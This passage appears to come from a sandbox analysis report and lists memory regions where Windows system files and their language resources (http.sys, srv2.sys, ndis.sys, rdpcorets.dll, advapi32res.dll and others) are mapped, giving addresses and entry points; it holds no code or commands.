0x20abc6d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5245 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5246 start_va = 0x20abc5e0000 end_va = 0x20abc6f0fff monitored = 0 entry_point = 0x20abc6d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5247 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 5248 start_va = 0x20abc390000 end_va = 0x20abc39dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 5249 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 5250 start_va = 0x20abc390000 end_va = 0x20abc39dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 5251 start_va = 0x20abc380000 end_va = 0x20abc386fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5252 start_va = 0x20abc5e0000 end_va = 0x20abc9e7fff monitored = 0 entry_point = 0x20abc6ae3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5253 start_va = 0x20abc380000 end_va = 0x20abc386fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5254 start_va = 0x20abc5e0000 end_va = 0x20abc9e7fff monitored = 0 entry_point = 0x20abc6ae3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5255 start_va = 0x20abc380000 end_va = 0x20abc386fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5256 start_va = 0x20abc5e0000 end_va = 0x20abc9e7fff monitored = 0 entry_point = 0x20abc6ae3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5257 start_va = 0x20abc380000 end_va = 0x20abc386fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5258 start_va = 0x20abc5e0000 end_va = 0x20abc9e7fff monitored = 0 entry_point = 0x20abc6ae3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5259 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5260 start_va = 0x20abc5e0000 end_va = 0x20abc68efff monitored = 0 entry_point = 0x20abc657000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5261 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5262 start_va = 0x20abc5e0000 end_va = 0x20abc68efff monitored = 0 entry_point = 0x20abc657000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5263 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5264 start_va = 0x20abc5e0000 end_va = 0x20abc68efff monitored = 0 entry_point = 0x20abc657000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5265 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5266 start_va = 0x20abc5e0000 end_va = 0x20abc68efff monitored = 0 entry_point = 0x20abc657000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5267 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5268 start_va = 0x20abc5e0000 end_va = 0x20abc68efff monitored = 0 entry_point = 0x20abc657000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5269 start_va = 0x20abc380000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5270 start_va = 0x20abc5e0000 end_va = 0x20abc68efff monitored = 0 entry_point = 0x20abc657000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5271 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 5272 start_va = 0x20abc5e0000 end_va = 0x20abc6b4fff monitored = 0 entry_point = 0x20abc60e0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 5273 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 5274 start_va = 0x20abc5e0000 end_va = 0x20abc6b4fff monitored = 0 entry_point = 0x20abc60e0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 5275 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5276 start_va = 0x20abc5e0000 end_va = 0x20abc640fff monitored = 0 entry_point = 0x20abc5f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5277 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5278 start_va = 0x20abc5e0000 end_va = 0x20abc640fff monitored = 0 entry_point = 0x20abc5f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5279 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5280 start_va = 0x20abc5e0000 end_va = 0x20abc640fff monitored = 0 entry_point = 0x20abc5f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5281 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5282 start_va = 0x20abc5e0000 end_va = 0x20abc640fff monitored = 0 entry_point = 0x20abc5f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5283 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5284 start_va = 0x20abc5e0000 end_va = 0x20abc640fff monitored = 0 entry_point = 0x20abc5f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5285 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5286 start_va = 0x20abc5e0000 end_va = 0x20abc640fff monitored = 0 entry_point = 0x20abc5f0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5287 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 5288 start_va = 0x20abc5e0000 end_va = 0x20abc627fff monitored = 0 entry_point = 0x20abc61acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 5289 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 5290 start_va = 0x20abc5e0000 end_va = 0x20abc627fff monitored = 0 entry_point = 0x20abc61acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 5291 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5292 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5293 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5294 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5295 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5296 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5297 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5298 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5299 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5300 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5301 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5302 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5303 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5304 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5305 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5306 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5307 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5308 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5309 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5310 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5311 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5312 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5313 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5314 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5315 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5316 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5317 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5318 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5319 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5320 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5321 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5322 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5323 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5324 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5325 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5326 start_va = 0x20abc5e0000 end_va = 0x20abc6fffff monitored = 0 entry_point = 0x20abc6dc040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5327 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5328 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5329 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5330 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5331 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5332 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5333 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5334 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5335 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5336 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5337 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5338 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5339 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5340 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5341 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5342 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5343 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5344 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5345 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5346 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5347 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5348 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5349 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5350 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: 